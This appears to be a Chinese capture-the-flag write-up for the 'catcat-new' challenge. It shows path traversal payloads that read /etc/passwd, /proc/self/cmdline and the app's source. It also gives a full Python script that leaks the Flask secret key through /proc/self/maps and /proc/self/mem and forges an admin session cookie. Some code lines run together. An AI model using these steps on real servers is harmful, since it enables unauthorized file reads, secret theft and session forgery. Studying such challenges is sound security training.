catcat-new【目录穿透+特殊文件】

题目界面

点击任何一只猫猫,发现路径泄露:

解题步骤

  • 测试目录遍历漏洞

    路径: ?file=../../../../etc/passwd

    成功读取到passwd文件:

  • 获取当前启动进程的完整命令

    路径:?file=../../../proc/self/cmdline ,发现有一个app.py文件

    注:大部分python编写的网站脚本都是名为app.py

  • 获取app.py内容

    尝试app.py文件的路径,刚好在当前目录的上一级中:?file=../app.py

    读取到的内容如下:

    更改为易读的标准格式:

    import os
    import uuid
    from flask import Flask, request, session, render_template, Markup
    from cat import cat flag = ""
    app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
    )
    app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
    if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag") @app.route('/', methods=['GET'])
    def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
    cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST'])
    def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"])
    def admin_can_list_root():
    if session.get('admin') == 1:
    return flag
    else:
    session['admin'] = 0
    return "NoNoNo" if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

    由脚本知,定义了一个用于管理员权限验证的路由 /admin,只有当会话中的 admin 值为 1 时,才返回flag。否则,将 admin 值设置为 0,并返回字符串 "NoNoNo"。由此知,此处需要伪造session。

  • 伪造session并获取flag

    伪造session的必要条件是获取密钥SECRET_KEY。由app.py知secret key在app(flask对象,存储在堆上)的config属性中的’SECRET_KEY‘键上。

    此处需要借助几个进程文件相互配合获取堆上的SECRET KEY:

    • /proc/self/mem:得到进程的内存内容
    • /proc/self/maps:获取当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

    利用/proc/self/maps的映射信息来确定读的偏移值,通过/proc/self/mem文件读取密钥。

    附上大佬的脚本:

    # coding=utf-8
    # ----------------------------------
    ###################################
    # Edited by lx56@blog.lxscloud.top
    ###################################
    # ----------------------------------
    import requests
    import re
    import ast, sys
    from abc import ABC
    from flask.sessions import SecureCookieSessionInterface url = "http://61.147.171.105:54072/" # 此程序只能运行于Python3以上
    if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3') # ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
    class MockApp(object):
    def __init__(self, secret_key):
    self.secret_key = secret_key class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
    # Encode a Flask session cookie
    try:
    app = MockApp(secret_key)
    # 使用 ast.literal_eval 将字符串转换为字典
    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure)
    except Exception as e:
    return "[Encoding error] {}".format(e)
    raise e # ------------------------------------------- # 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
    s_key = ""
    bypass = "../.."
    # 请求file路由进行读取
    map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
    # 获取到的响应文本通过'split("\\n")'按行分割,得到一个包含每行内容的列表'map_list'
    map_list = map_list.text.split("\\n")
    # 遍历每行的内容
    for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
    start = int(map_addr.group(1), 16)
    end = int(map_addr.group(2), 16)
    print("Found rw addr:", start, "-", end) # 设置起始和结束位置并读取/proc/self/mem
    res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
    # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
    if "*abcdefgh" in res.text:
    # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
    secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
    if secret_key:
    print("Secret Key:", secret_key[0])
    s_key = secret_key[0]
    break # 设置session中admin的值为1
    data = '{"admin":1}'
    # 伪造session
    headers = {
    "Cookie": "session=" + FSCM.encode(s_key, data)
    }
    # 请求admin路由
    try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
    except:
    print("Something error")

catcat-new【目录穿透+特殊文件】的更多相关文章

  1. PHP 批量获取指定目录下的文件列表(递归,穿透所有子目录)

    //调用 $dir = '/Users/xxx/www'; $exceptFolders = array('view','test'); $exceptFiles = array('BaseContr ...

  2. winrar+目录穿透复现

    前言: 学习下该漏洞,记录下这是自动化复现,没有具体分析.菜逼只会用. 00x1: 漏洞简单描述: 该漏洞事一个由UNACEV2.dll代码库中的一个深藏已久的漏洞 当攻击者制作一个恶意的ACE文件时 ...

  3. VS Build目录下各文件的作用

    VS2010中各种类型文件的作用: .sln 相当于VC6中 .dsw    .vcxproj 相当于VC6中 .dsp    .suo 相当于VC6中 .ncb    .vcxproj.filter ...

  4. 关于Android中res目录strings.xml文件中的转义字符之笔录

    res目录strings.xml文件中的转义字符:         ------------------>     代表着一个汉字的位置:                        ---- ...

  5. Eclipse下无法自动编译,或者WEB-INF/classes目录下没文件,编译失败的解决办法(转载)

    文章来源:http://www.cnblogs.com/xfiver/archive/2010/07/07/1772764.html 1.  IOException parsing XML docum ...

  6. Android从assets目录下读取文件相关

    有一个需求是app的帮助文档是word格式,ios可以直接用webview加载word显示,Android不行.而美工不配合转换成图片,前端没时间把word写成html 没办法,自己搞. 步骤: 1. ...

  7. PHP 获取指定目录下所有文件(包含子目录)

    PHP 获取指定目录下所有文件(包含子目录) //glob — 寻找与模式匹配的文件路径 $filter_dir = array('CVS', 'templates_c', 'log', 'img', ...

  8. Python遍历目录下所有文件的最后一行进行判断若错误及时邮件报警-案例

    遍历目录下所有文件的最后一行进行判断若错误及时邮件报警-案例: #-*- encoding: utf-8 -*- __author__ = 'liudong' import linecache,sys ...

  9. eclipse项目自动发布到tomcat目录,缺文件。

    eclipse项目自动发布到tomcat目录,缺文件. 解决方案: 项目--Properties-->Deployment Assembly-->Add--> Folder Add- ...

  10. ftp下载目录下所有文件及文件夹内(递归)

    ftp下载目录下所有文件及文件夹内(递归)   /// <summary> /// ftp文件上传.下载操作类 /// </summary> public class FTPH ...

随机推荐

  1. 《Python魔法大冒险》002 编程是什么?

    魔法师:在这个充满魔法和奇迹的数字时代,你是否好奇过计算机是如何运作的?当你用手机玩游戏.在电脑上浏览网页.看动画电影,你是否想过这背后的秘密是什么?别担心,今天我们将揭开这神秘的面纱,一起来探索编程 ...

  2. Linux下MySQL备份指定数据库命令

    比如我们要备份mysql中已经存在的名为linux的数据库,要用到命令mysqldump 命令格式如下: [root@linuxsir01 root]# mysqldump -u root -p li ...

  3. No module named virtualenvwrapper 虚拟环境报错

    No module named virtualenvwrapper 虚拟环境报错 安装虚拟环境命令 sudo pip install virtualenv sudo pip install virtu ...

  4. 深入解析 C++ 中的 ostringstream、istringstream 和 stringstream 用法

    引言: 在 C++ 中,ostringstream.istringstream 和 stringstream 是三个非常有用的字符串流类,它们允许我们以流的方式处理字符串数据.本文将深入探讨这三个类的 ...

  5. tiptopGP5.2链接所有表或报不存在函数处理

    修改交易的表时需要特别注意,改完要关联所有有关的表r.rb.rb pja_file 当链接提示不存在的函数调用,又无法确定具体是那个关联程序时, 可以在本函数内先定义这个报错的函数,重新链接时,系统会 ...

  6. 使用Docker buildx 为 .NET 构建多平台镜像

    .NET 团队有一篇博客 改进多平台容器支持, 详细介绍了.NET 7 以上的平台可以轻松的使用Docker buildx 工具构建多平台的镜像. buildx 是 Docker 官方提供的一个构建工 ...

  7. 【matplotlib 实战】--散点图

    散点图,又名点图.散布图.X-Y图,是将所有的数据以点的形式展现在平面直角坐标系上的统计图表. 散点图常被用于分析变量之间的相关性.如果两个变量的散点看上去都在一条直线附近波动,则称变量之间是线性相关 ...

  8. Intervals 题解

    Intervals 题目大意 给定 \(m\) 条形如 \((l_i,r_i,a_i)\) 的规则,你需要求出一个长为 \(n\) 的分数最大的 01 串的分数,其中一个 01 串 \(A\) 的分数 ...

  9. Python自动化处理Excel数据

    需求描述:数据格式如下所示,需要分离出2023年7月1号之后的数据明细 数据核对与处理:从Excel文件中提取特定日期后的签收数据 1. 引言 在实际数据处理和分析过程中,经常会遇到需要从大量数据中提 ...

  10. 每天5分钟复习OpenStack(八)存储虚拟化

    KVM存储虚拟化是通过存储池(Storage Pool)和卷(Volume)来管理的.Storage Pool 是宿主机上可以看到的一片存储空间,可以是多种类型,Volume 是在 Storage P ...